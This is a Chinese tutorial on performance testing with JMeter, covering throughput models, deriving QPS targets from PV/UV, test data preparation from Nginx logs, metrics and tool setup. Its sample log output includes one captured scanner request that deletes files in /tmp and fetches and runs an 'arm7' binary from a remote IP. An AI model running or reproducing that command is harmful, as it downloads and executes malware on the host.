1、总览
1.1 测试步骤总览
- 需求分析与测试设计(性能需求目标+业务模型拆解)
- 测试数据准备和构造(基于模型的数据准备)
- 性能指标预期(性能需求目标)
- 发压工具配置及脚本编写(压力策略)
- 测试过程(预计的前置准备过程和压测时间点规划)
- 结果分析与测试报告
1.2 测试模型分析
如下的测试模型来简单的说明测试中需要关注的点和测试的目的
-
字段说明:
- 1、横轴代表并发数,也就对应着Jmeter里面的线程数
- 2、Utizilation(U) :资源利用率
- 3、Throughput(X):吞吐量,对应QPS或TPS
- 4、ResponseTime®:响应时间
-
拐点分析:
(1)第一条虚线处的拐点代表着随着并发数的增加,资源利用率(CPU资源等)和吞吐量也在伴随着递增, 这个时候我们的响应时间有小幅度的增加,但是在可接受的范围之内;在这个点是做容量规划最好的参考点(2)第二条虚线处的拐点表示随着并发数的继续增加,系统资源已经到达了瓶颈,吞吐量开始明显下降,响应时间会大幅增加,也就是说已经到达了性能的瓶颈,请求队列开始挤压,这个时候已经严重影响用户体验或者有系统崩溃的风险。
2、步骤分析
2.1 需求分析与测试设计(性能需求目标+业务模型拆解)
-
1、目标场景分类:
- 新上线系统性能测试:要求容量测试,系统最大容量
- 系统升级类性能测试:和基线版本对比,性能不下降
- 新系统性能优化测试:伴随调优目标的性能测试
注:在后面的演示中,会以新系统上线的容量测试为例,目标为获取系统最大容量
字段说明:
基准测试:见下图,我的理解就是性能测试,找到最优的QPS(TPS)点
容量测试:见下图,我的理解为压力测试,在达到性能瓶颈后继续加压,测试系统的最大承载量
新系统想要确定测试基准,就需要拿到数据,而产品一般是不会直接告诉我们QPS
的,产品会告诉我们PV/UV
天。
根据PV
、UV
再结合业务场景来计算确认我们的测试需求;将其转化为小时或分钟,或秒;另外业务场景可能会几种在某个时间段,好比工作日的8个小时时间:UV
:或者外卖产品则集中在午饭和晚饭的2个小时时间段,假如UV
为1000w/天,那么高峰时段占了总用户数的80%:
1000w * 80% / (4*3600) = 每秒的并发用户数PV
:PV
可以直接对应到QPS指标,好比一个电商产品,产品分别给出了首页、商品页、订单页的PV,便可依此来进行性能测试的基准设计,例如粗略的按24小时算QPS的话就是QPS = PV(天)/24/3600 -
2、根据具体的性能测试需求,确定测试类型以及压测的模块(web/mysql/redis/系统整体)
-
3、前期要与相关人员充分沟通,初步确定压测方案及具体性能指标
-
4、QA完成性能测试设计后,需产出测试方案文档发送邮件到项目组,并且再次与相关人员沟通(或者组织性能测试评审),确认是否满足需求
2.2、测试数据准备和构造(基于模型的数据准备)
数据的准备可以如下几点:
-
1、接口请求参数:自己构造、日志获取、上下关联
- 自己构造:自己抓包等,这个有个问题就是后端可能有缓存而造成对实际压力程度的影响
- 日志获取:推荐常用,通过日志或数据库获取大批量的数据然后打散
例如,我们的请求是通过Nginx转发的,那么可以通过Nginx的日志来获取请求数据,现有如下的log:
现在我们可以利用Linux
三剑客中的awk
命令配合上排序的shell命令对log进行提取过滤,找出访问量最高的请求:$ cat access.log | awk '{print $7}' | sort | uniq -c | sort -nr | head -15 4709 /sso/register 4703 /sso/login 157 400 139 / 8 http://www.baidu.com/cache/global/img/gs.gif 5 /index.php 4 mstshash=Administr" 4 /license.txt 4 ip.ws.126.net:443 4 " 2 /sso/getAuthCode?telephone=17138134641 2 /sso/getAuthCode?telephone=17127460936 2 /shell?cd+/tmp;+rm+-rf+*;+wget+http://45.148.10.194/arm7;+chmod+777+arm7;+./arm7+rep.arm7 2 /robots.txt 2 /phpmyadmin/
- 上下关联:有些数据我们是无法提前获取的,好比用户的订单数据和购物车数据,这些需要用户下单后生成,因此就需要在下单接口后通过上下关联的接口返回值来获取
-
2、数据表的数据填充:
可以利用jmeter的高并发通过接口来提前创建数据 -
3、如果是多接口,则需要结合业务场景设计请求比例:
比如用户浏览主页的PV和浏览商户的比例为1:2,那么接口的比例设计也就按照1:2来设计
2.3、性能指标预期(性能需求目标)
- 1.每秒请求数(QPS)
- 2.请求响应时间(最大,最小,平均值)
- 3.错误率
- 4.机器性能:cpu idel30%,memory无剧烈抖动或飙升
- 5.压测过程接口功能是否正常
- 不同性能测试方式下指标预期是否有差异
2.4、发压工具配置及脚本编写(压力策略)
-
1.发压工具准备-jmeter简介
(1) 集成包,解压即可使用,Windowns, Linux, Mac通用(依赖Java环境)
(2) jmx文件为xml文件,Win,Linux环境均可运行
(3) 多线程并发
(4) 运行完脚本会生成jtl日志,可在Win、Mac环境界面中查看、统计使用jmeter可以做到:
- 压测场景:单接口/复杂事物——>场景构造
- 压力需求:<1000
QPS
或者万级以上的使用Jmeter
分布式支持的方式 - 是否周期性:Jmeter jmx场景文件,数据驱动,结果落库
- 二次开发需求:Jmeter开源插件化思想,支持Thrift
- 协议支持:Dubbo等多种协议,可以快速平台化
- 问题支持:开放社区,广泛使用
-
2.脚本编写
(1) http
(2) 其他 -
3.命令启动,Jmeter本身也是软件,也有自己的承载限制,所以真正测试过程还是要以命令行运行的方式,UI可以作为编写和调试脚本使用
启压:./jmeter -n -t hb.jmx-l hb.jtl
2.5 测试过程(预计的前置准备过程和压测时间点规划)
- 1、测试前环境检查:记录机器参数
- 2、起压:根据被压情况,调节并发量到合适情况
- 3、查看记录各项性能指标
nginx
日志查看每秒请求数- 查看
nginx
错误请求 - 查看机器参数:
cpu
idel、mem
等 - 查看
db
、cache
等数据是否写入正常 - 访问接口,查看功能是否正常
2.6 结果分析与测试报告
- 1、根据测试过程中记录的各项参数,结合压测工具产生的日志,对测试结果进行分析,并产出测试报告
- 2、测试完成后,及时与相关人员沟通,确认是都满足需求
- 3、发送测试报告邮件
写在最后
以上只是做了个性能测试的基础知识铺垫,后续在此理论基础上,以电商业务为背景,结合Docker
+Jmeter
+Influx
+Grafana
完成一个实例压测与监控~